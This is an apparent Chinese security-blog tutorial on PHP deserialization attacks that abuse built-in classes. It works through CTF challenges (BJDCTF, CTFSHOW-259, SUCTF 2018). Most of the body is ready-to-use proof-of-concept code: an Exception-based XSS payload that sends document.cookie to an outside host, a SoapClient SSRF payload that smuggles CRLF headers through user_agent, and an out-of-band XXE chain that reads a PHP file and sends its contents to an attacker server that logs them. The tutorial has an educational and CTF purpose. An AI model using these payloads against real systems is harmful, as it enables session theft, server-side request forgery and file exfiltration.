PHP反序列化&原生内置&Exception类&SoapClient类&SimpleXMLElement

Ethan医生3天前WEB安全11


#原生自带类参考

https://xz.aliyun.com/news/8792

https://www.anquanke.com/post/id/264823

https://blog.csdn.net/cjdgg/article/details/115314651

 

#利用条件:

1、有触发魔术方法

2、魔术方法有利用类

3、部分自带类拓展开启

 

#生成原生类:

<?php

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) {

if (in_array($method, array(

'__construct',

'__destruct',

'__toString',

'__wakeup',

'__call',

'__callStatic',

'__get',

'__set',

'__isset',

'__unset',

'__invoke',

'__set_state'

))) {

print $class . '::' . $method . "\n";

}

}

}

 

1、使用Error/Exception类进行XSS

<?php

highlight_file(__file__);

$a = unserialize($_GET['code']);

echo $a;

?>

-输出对象可调用__toString

-无代码通过原生类Exception

-Exception使用查询编写利用

-通过访问触发输出产生XSS漏洞

<?php

$a=new Exception("<script>alert('xiaodi')</script>");

echo urlencode(serialize($a));

?>

 

[BJDCTF 2nd]xss之光

<?php

$poc = new Exception("<script>window.open('http://462795d3-ea59-4f00-9657-d50f15178248.node5.buuoj.cn:81/?'+document.cookie);</script>");

echo urlencode(serialize($poc));

?>

 

2、使用SoapClient类进行SSRF

<?php

$s = unserialize($_GET['ssrf']);

$s->a();

?>

-输出对象可调用__call

-无代码通过原生类SoapClient

-SoapClient使用查询编写利用

-通过访问触发服务器SSRF漏洞

<?php

$a = new SoapClient(null,array('location'=>'http://192.168.1.4:2222/aaa', 'uri'=>'http://192.168.1.4:2222'));

$b = serialize($a);

echo $b;

?>

 

CTFSHOW-259

-不存在的方法触发__call

-无代码通过原生类SoapClient

-SoapClient使用查询编写利用

-通过访问本地Flag.php获取Flag

<?php

$ua="aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";

$client=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));

echo urlencode(serialize($client));

?>

 

3、使用SimpleXMLElement类进行xxe

<?php

$sxe=new SimpleXMLElement('http://192.168.1.4:82/76/oob.xml',2,true);

$a = serialize($sxe);

echo $a;

?>

-不存在的方法触发__construct

-无代码通过原生类SimpleXMLElement

-SimpleXMLElement使用查询编写利用

 

[SUCTF 2018]Homework

利用点:SimpleXMLElement(url,2,true)

oob.xml:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % remote SYSTEM "http://ip/send.xml">

%remote;

%all;

%send;

]>

send.xml:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=x.php">

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://ip/send.php?file=%file;'>">

send.php:

<?php

file_put_contents("result.txt", $_GET['file']) ;

?>

Poc:

/show.php?module=SimpleXMLElement&args[]=http://120.27.152.29/oob.xml&args[]=2&args[]=true


标签: PHP

相关文章

PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

#PHP常见漏洞关键字:SQL注入:select insert update mysql_query mysqli等文件上传:$_FILES,type="file",上传,move...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

PHP原生开发篇&SQL注入&数据库监控&正则搜索&文件定位&静态分析

挖掘技巧:-语句监控-数据库SQL监控排查可利用语句定向分析-功能追踪-功能点文件SQL执行代码函数调用链追踪-正则搜索-(update|select|insert|delete|).*?where....

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。